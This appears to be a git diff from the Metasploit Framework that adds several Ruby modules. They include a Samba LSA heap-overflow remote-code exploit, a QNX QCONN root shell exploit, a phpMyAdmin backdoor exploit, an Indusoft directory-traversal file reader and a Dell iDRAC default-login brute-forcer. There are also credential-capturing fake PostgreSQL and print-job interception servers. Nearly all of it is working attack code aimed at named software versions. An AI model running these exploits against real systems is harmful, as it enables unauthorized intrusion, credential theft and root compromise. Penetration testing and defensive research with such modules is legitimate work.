#get delimeter
tmp2 = tmp[1].strip
delim = tmp2[0,1]
@ -435,7 +419,7 @@ class Metasploit3 < Msf::Auxiliary
location = fielddata[0].index(thisfield)
delta = fielddata[0].size - location
remaining = fielddata[0][location,delta]
tmp = remaining.strip.split(/=/)
tmp = remaining.strip.split(/\=/)
if tmp.size > 1
delim = tmp[1][0,1]
tmp2 = tmp[1].split(delim)

View File

@ -0,0 +1,119 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Dell iDRAC default Login',
'Version' => '$Revision$',
'Description' => %q{
This module attempts to login to a iDRAC webserver instance using
default username and password. Tested against Dell Remote Access
Controller 6 - Express version 1.50 and 1.85
},
'Author' =>
[
'Cristiano Maruti <cmaruti[at]gmail.com>'
],
'References' =>
[
['CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the iDRAC Administration page', '/data/login']),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "idrac_default_user.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "idrac_default_pass.txt") ]),
OptInt.new('RPORT', [true, "Default remote port", 443])
], self.class)
register_advanced_options([
OptBool.new('SSL', [true, "Negotiate SSL connection", true])
], self.class)
end
def target_url
proto = "http"
if rport == 443 or ssl
proto = "https"
end
"#{proto}://#{vhost}:#{rport}#{datastore['URI']}"
end
def do_login(user=nil, pass=nil)
auth = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'SSL' => true,
'vars_post' => {
'user' => user,
'password' => pass
}
})
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:active => true,
:source_type => "user_supplied",
:duplicate_ok => true
)
else
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
end
end
def run_host(ip)
print_status("Verifying that login page exists at #{ip}")
begin
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})
if (res and res.code == 200 and res.body.to_s.match(/<authResult>1/) != nil)
print_status("Attempting authentication")
each_user_pass { |user, pass|
do_login(user, pass)
}
elsif (res and res.code == 301)
print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
return :abort
else
print_error("The iDRAC login page does not exist at #{ip}")
return :abort
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
rescue ::OpenSSL::SSL::SSLError => e
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
end
end
end

View File

@ -0,0 +1,116 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Indusoft WebStudio NTWebServer Remote File Access',
'Description' => %q{
This module exploits a directory traversal vulnerability in Indusoft WebStudio.
The vulnerability exists in the NTWebServer component and allows to read arbitrary
remote files with the privileges of the NTWebServer process. The module has been
tested successfully on Indusoft WebStudio 6.1 SP6.
},
'References' =>
[
[ 'CVE', '2011-1900' ],
[ 'OSVDB', '73413' ],
[ 'BID', '47842' ],
[ 'URL', 'http://www.indusoft.com/hotfixes/hotfixes.php' ]
],
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('RFILE', [true, 'Remote File', '/boot.ini']),
OptInt.new('DEPTH', [true, 'Traversal depth', 3])
], self.class)
register_autofilter_ports([ 80 ])
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => "/",
'method' => 'GET'
})
if not res
print_error("#{rhost}:#{rport} - Unable to connect")
return
end
accessfile(ip)
end
def accessfile(rhost)
traversal = "../" * datastore['DEPTH']
rfile = ""
if datastore['RFILE'][0] == "/"
rfile = datastore['RFILE'][1..datastore['RFILE'].length-1]
else
rfile = datastore['RFILE']
end
print_status("#{rhost}:#{rport} - Checking if file exists...")
res = send_request_cgi({
'uri' => "/#{traversal}#{rfile}",
'method' => 'HEAD'
})
if res and res.code == 200 and res.message =~ /File Exists/
print_good("#{rhost}:#{rport} - The file exists")
else
print_error("#{rhost}:#{rport} - The file doesn't exist")
return
end
print_status("#{rhost}:#{rport} - Retrieving remote file...")
res = send_request_cgi({
'uri' => "/#{traversal}#{rfile}",
'method' => 'GET'
})
if res and res.code == 200 and res.message =~ /Sending file/
loot = res.body
if not loot or loot.empty?
print_status("#{rhost}:#{rport} - Retrieved empty file")
return
end
f = ::File.basename(datastore['RFILE'])
path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
print_status("#{rhost}:#{rport} - #{datastore['RFILE']} saved in #{path}")
return
end
print_error("#{rhost}:#{rport} - Failed to retrieve file")
end
end

View File

@ -477,7 +477,7 @@ class Metasploit3 < Msf::Auxiliary
multihandler.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
multihandler.datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
multihandler.datastore['CAMPAIGN_ID'] = datastore["CAMPAIGN_ID"] if datastore["CAMPAIGN_ID"]
multihandler.datastore['BAP'] = true
multihandler.datastore['ParentModule'] = self.fullname
multihandler.datastore['AutopwnUUID'] = self.uuid
multihandler.datastore['LPORT'] = lport
multihandler.datastore['LHOST'] = @lhost

View File

@ -0,0 +1,114 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: PostgreSQL',
'Description' => %q{
This module provides a fake PostgreSQL service that is designed to
capture clear-text authentication credentials.},
'Author' => 'Dhiru Kholia <dhiru[at]openwall.com>',
'License' => MSF_LICENSE,
'Actions' => [ [ 'Capture' ] ],
'PassiveActions' => [ 'Capture' ],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]),
], self.class)
end
# This module is based on MySQL capture module by Patrik Karlsson.
# Reference: http://www.postgresql.org/docs/9.2/static/protocol-message-formats.html
def setup
super
@state = {}
end
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
}
@state[c]["status"] = :init
end
def on_client_data(c)
data = c.get_once
return if not data
length = data.slice(0, 4).unpack("N")[0]
if length == 8 and @state[c]["status"] == :init
# SSL request
c.put 'N'
@state[c]["status"] = :send_auth_type
elsif @state[c]["status"] == :send_auth_type
# Startup message
data.slice!(0, 4).unpack("N")[0] # skip over length
data.slice!(0, 4).unpack("N")[0] # skip over protocol
sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("C*")
c.put sdata
data.slice!(0, 5) # skip over "user\x00"
@state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
data.slice!(0, 9) # skip over "database\x00"
@state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
@state[c]["status"] = :pwn
elsif @state[c]["status"] == :pwn and data[0] == 'p'
# Password message
data.slice!(0, 5).unpack("N")[0] # skip over length
@state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
report_auth_info(
:host => c.peerhost,
:port => datastore['SRVPORT'],
:sname => 'psql_client',
:user => @state[c][:username],
:pass => @state[c][:password],
:type => "PostgreSQL credentials",
:proof => @state[c][:database],
:source_type => "captured",
:active => true
)
print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
# send failure message
sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN")
sdata << "SFATAL"
sdata << "\x00"
sdata << "C28P01"
sdata << "\x00"
sdata << "Mpassword authentication failed for user \"#{@state[c][:username]}\""
sdata << "\x00"
sdata << "Fauth.c"
sdata << "\x00"
sdata << "L302"
sdata << "\x00"
sdata << "Rauth_failed"
sdata << "\x00\x00"
c.put sdata
c.close
end
end
def on_client_close(c)
@state.delete(c)
end
end

View File

@ -0,0 +1,280 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Printjob Capture Service',
'Version' => '$Revision$',
'Description' => %q{
This module is designed to listen for PJL or PostScript print
jobs. Once a print job is detected it is saved to loot. The
captured printjob can then be forwarded on to another printer
(required for LPR printjobs). Resulting PCL/PS files can be
read with GhostScript/GhostPCL.
Note, this module does not yet support IPP connections.
},
'Author' => ['Chris John Riley', 'todb'],
'License' => MSF_LICENSE,
'References' =>
[
# Based on previous prn-2-me tool (Python)
['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
# Readers for resulting PCL/PC
['URL', 'http://www.ghostscript.com']
],
'Actions' =>
[
[ 'Capture' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
register_options([
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]),
OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]),
OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]),
OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP
], self.class)
deregister_options('SSL', 'SSLVersion', 'SSLCert')
end
def setup
super
@state = {}
begin
@srvhost = datastore['SRVHOST']
@srvport = datastore['SRVPORT'] || 9100
@mode = datastore['MODE'].upcase || 'RAW'
print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
if datastore['FORWARD']
@forward = datastore['FORWARD']
@rport = datastore['RPORT'] || 9100
if not datastore['RHOST'].nil?
@rhost = datastore['RHOST']
print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
else
raise ArgumentError, "Cannot forward without a valid RHOST"
end
end
if not @mode == 'RAW' and not @forward
raise ArgumentError, "Cannot intercept LPR/IPP without a forwarding target"
end
@metadata = datastore['METADATA']
exploit()
rescue => ex
print_error(ex.message)
end
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil,
:data => '',
:raw_data => '',
:prn_title => '',
:prn_type => '',
:prn_metadata => {},
:meta_output => []
}
print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
end
def on_client_data(c)
curr_data = c.get_once
@state[c][:data] << curr_data
if @mode == 'RAW'
# RAW Mode - no further actions
elsif @mode == 'LPR' or @mode == 'IPP'
response = stream_data(curr_data)
c.put(response)
end
if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
end
return if not @state[c][:data]
end
def on_client_close(c)
print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
sock.close if sock
# forward RAW data as it's not streamed
if @forward and @mode == 'RAW'
forward_data(@state[c][:data])
end
#extract print data and Metadata from @state[c][:data]
begin
# postscript data
if @state[c][:data] =~ /%!PS-Adobe/i
@state[c][:prn_type] = "PS"
print_good("Printjob intercepted - type PostScript")
# extract PostScript data including header and EOF marker
@state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
# pcl data (capture PCL or PJL start code)
elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
@state[c][:prn_type] = "PCL"
print_good("Printjob intercepted - type PCL")
#extract everything between PCL start and end markers (various)
@state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
end
# extract Postsript Metadata
metadata_ps(c) if @state[c][:data] =~ /^%%/i
# extract PJL Metadata
metadata_pjl(c) if @state[c][:data] =~ /@PJL/i
# extract IPP Metadata
metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i
if not @state[c][:prn_type]
print_error("Unable to detect printjob type, dumping complete output")
@state[c][:prn_type] = "Unknown Type"
@state[c][:raw_data] = @state[c][:data]
end
# output discovered Metadata if set
if @state[c][:meta_output] and @metadata
@state[c][:meta_output].sort.each do | out |
# print metadata if not empty
print_status("#{out}") if not out.empty?
end
else
print_status("No metadata gathered from printjob")
end
# set name to unknown if not discovered via Metadata
@state[c][:prn_title] = 'Unnamed' if not @state[c][:prn_title]
#store loot
storefile(c) if not @state[c][:raw_data].empty?
# clear state
@state.delete(c)
rescue => ex
print_error(ex.message)
end
end
def metadata_pjl(c)
# extract PJL Metadata
@state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
print_good("Extracting PJL Metadata")
@state[c][:prn_metadata].each do | meta |
if meta[0] =~ /^COMMENT/i
@state[c][:meta_output] << meta[0].to_s + meta[1].to_s
end
if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
@state[c][:meta_output] << meta[1].to_s
end
if meta[1] =~ /^NAME/i
@state[c][:prn_title] = meta[1].strip
elsif meta[1] =~/^JOBNAME/i
@state[c][:prn_title] = meta[1].strip
end
end
end
def metadata_ps(c)
# extract Postsript Metadata
@state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
print_good("Extracting PostScript Metadata")
@state[c][:prn_metadata].each do | meta |
if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
@state[c][:meta_output] << meta[0].to_s
end
if meta[0] =~ /^Title/i
@state[c][:prn_title] = meta[0].strip
end
end
end
def metadata_ipp(c)
# extract IPP Metadata
@state[c][:prn_metadata] = @state[c][:data]
print_good("Extracting IPP Metadata")
case @state[c][:prn_metadata]
when /User-Agent:/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
when /Server:/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
when /printer-uri..ipp:\/\/.*\/ipp\//i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
when /requesting-user-name..\w+/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
end
end
def forward_data(data_to_send)
print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
connect
sock.put(data_to_send)
sock.close
end
def stream_data(data_to_send)
vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
connect if not sock
sock.put(data_to_send)
response = sock.get_once
return response
end
def storefile(c)
# store the file
if @state[c][:raw_data]
jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
filename = "#{jobname}.#{@state[c][:prn_type]}"
loot = store_loot(
"prn_snarf.#{@state[c][:prn_type].downcase}",
"#{@state[c][:prn_type]} printjob",
c.peerhost,
@state[c][:raw_data],
filename,
"PrintJob capture"
)
print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
print_good("Loot filename: %s" % loot)
end
end
end

View File

@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
['OSVDB', '85654'],
['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
],
'DefaultOptions' =>

View File

@ -0,0 +1,312 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
'Description' => %q{
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
because of an error on the PIDL auto-generated code. Making a specially crafted
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
trigger a heap overflow and finally execute arbitrary code with root privileges.
The module uses brute force to guess the system() address and redirect flow there
in order to bypass NX. The start and stop addresses for brute forcing have been
calculated empirically. On the other hand the module provides the StartBrute and
StopBrute which allow the user to configure his own addresses.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'blasty', # Exploit
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-1182'],
['OSVDB', '81303'],
['BID', '52973'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 811,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet python perl'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
{
'Offset' => 0x11c0,
'Bruteforce' =>
{
# The start for the final version should be 0xb20 aligned, and then step 0x1000.
'Start' => { 'Ret' => 0x00230b20 },
'Stop' => { 'Ret' => 0x22a00b20 },
'Step' => 0x1000
}
}
],
['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
{
'Offset' => 0x11c0,
'Bruteforce' =>
{
# The start should be 0x950 aligned, and then step 0x1000.
'Start' => { 'Ret' => 0x00230950 },
'Stop' => { 'Ret' => 0x22a00950 },
'Step' => 0x1000
}
}
],
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
{
'Offset' => 0x11c0,
'Bruteforce' =>
{
# The start should be 0x680 aligned, and then step 0x1000.
'Start' => { 'Ret' => 0x00230680 },
'Stop' => { 'Ret' => 0x22a00680 },
'Step' => 0x1000
}
}
]
],
'DisclosureDate' => 'Apr 10 2012',
'DefaultTarget' => 0
))
register_options([
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
], self.class)
end
def exploit
if target.bruteforce?
bf = target.bruteforce
if datastore['StartBrute'] and datastore['StartBrute'] > 0
bf.start_addresses['Ret'] = datastore['StartBrute']
end
if datastore['StopBrute'] and datastore['StopBrute'] > 0
bf.stop_addresses['Ret'] = datastore['StopBrute']
end
if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
raise ArgumentError, "StartBrute should not be larger than StopBrute"
end
end
super
end
def check
begin
connect()
smb_login()
disconnect()
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
print_status("Version found: #{version}")
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
return Exploit::CheckCode::Safe
rescue ::Exception
return CheckCode::Unknown
end
end
def brute_exploit(target_addrs)
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
datastore['DCERPC::fake_bind_multi'] = false
datastore['DCERPC::max_frag_size'] = 4248
pipe = "lsarpc"
print_status("Connecting to the SMB service...")
connect()
print_status("Login to the SMB service...")
smb_login()
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
stub = "X" * 20
cmd = ";;;;" # padding
cmd << "#{payload.encoded}\x00" # system argument
tmp = cmd * (816/cmd.length)
tmp << "\x00"*(816-tmp.length)
stub << NDR.short(2) # level
stub << NDR.short(2) # level 2
stub << NDR.long(1) # auditing mode
stub << NDR.long(1) # ptr
stub << NDR.long(100000) # r-> count
stub << NDR.long(20) # array size
stub << NDR.long(0)
stub << NDR.long(100)
stub << rand_text_alpha(target['Offset'])
# Crafted talloc chunk
stub << 'A' * 8 # next, prev
stub << NDR.long(0) + NDR.long(0) # parent, child
stub << NDR.long(0) # refs
stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
stub << NDR.long(0) # name
stub << "AAAA" # size
stub << NDR.long(0xe8150c70) # flags
stub << "AAAABBBB"
stub << tmp # pointer to tmp+4 in $esp
stub << rand_text(32632)
stub << rand_text(62000)
print_status("Calling the vulnerable function...")
begin
call(dcerpc, 0x08, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
end
end
handler
disconnect
end
# Perform a DCE/RPC Function Call
def call(dcerpc, function, data, do_recv = true)
frag_size = data.length
if dcerpc.options['frag_size']
frag_size = dcerpc.options['frag_size']
end
object_id = ''
if dcerpc.options['object_call']
object_id = dcerpc.handle.uuid[0]
end
if options['random_object_id']
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
end
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
call_packets.each { |packet|
write(dcerpc, packet)
}
return true if not do_recv
raw_response = ''
begin
raw_response = dcerpc.read()
rescue ::EOFError
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end
if (raw_response == nil or raw_response.length == 0)
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
if dcerpc.last_response.type == 3
e = Rex::Proto::DCERPC::Exceptions::Fault.new
e.fault = dcerpc.last_response.status
raise e
end
dcerpc.last_response.stub_data
end
# Used to create standard DCERPC REQUEST packet(s)
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
opnum = opnum.to_i
size = size.to_i
ctx = ctx.to_i
chunks, frags = [], []
ptr = 0
# Break the request into fragments of 'size' bytes
while ptr < data.length
chunks.push( data[ ptr, size ] )
ptr += size
end
# Process requests with no stub data
if chunks.length == 0
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
return frags
end
# Process requests with only one fragment
if chunks.length == 1
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
return frags
end
# Create the first fragment of the request
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
# Create all of the middle fragments
while chunks.length != 1
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
end
# Create the last fragment of the request
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
return frags
end
# Write data to the underlying socket
def write(dcerpc, data)
dcerpc.socket.write(data)
data.length
end
end

View File

@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
['OSVDB', '85554'],
['EDB', '21329']
],
'Payload' =>

View File

@ -0,0 +1,82 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
'Description' => %q{
This module exploits an arbitrary code execution backdoor
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Sep 25 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options([
OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
], self.class)
end
def exploit
uris = []
tpath = datastore['PATH']
if tpath[-1,1] == '/'
tpath = tpath.chop
end
pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")
res = send_request_raw( {
'global' => true,
'uri' => tpath + "/server_sync.php",
'method' => 'POST',
'data' => pdata,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => pdata.length,
}
}, 1.0)
handler
end
end

View File

@ -0,0 +1,115 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "QNX QCONN Remote Command Execution Vulnerability",
'Description' => %q{
This module exploits a vulnerability in the qconn component of
QNX Neutrino which can be abused to allow unauthenticated users to
execute arbitrary commands under the context of the 'root' user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'David Odell', # Discovery
'Mor!p3r <moriper[at]gmail.com>', # PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '21520'],
['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],
],
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' =>
{
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/interact',
},
'Platform' => 'unix', # QNX Neutrino
'Arch' => ARCH_CMD,
'Targets' =>
[
# Tested on QNX Neutrino 6.5 SP1
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => 'Sep 4 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8000)
], self.class)
end
def check
@peer = "#{rhost}:#{rport}"
# send check
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
print_status("#{@peer} - Sending check")
connect
req = "service launcher\n"
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
sock.put(req)
res = sock.get
disconnect
# check response
if res and res =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
elsif res and res =~ /QCONN/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
@peer = "#{rhost}:#{rport}"
# send payload
req = "service launcher\n"
req << "start/flags run /bin/sh -\n"
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
connect
sock.put(req)
res = sock.get
# check response
if res and res =~ /No controlling tty/
print_good("#{@peer} - Payload sent successfully")
else
print_error("#{@peer} - Sending payload failed")
end
handler
disconnect
end
end

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Some secret ninja
'unknown', # via ZDI
'eromang', # First public discovery
'binjo',
'sinn3r', # Metasploit
@ -78,27 +78,40 @@ class Metasploit3 < Msf::Exploit::Remote
'Privileged' => false,
'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[1] #IE 7 on Windows XP SP3
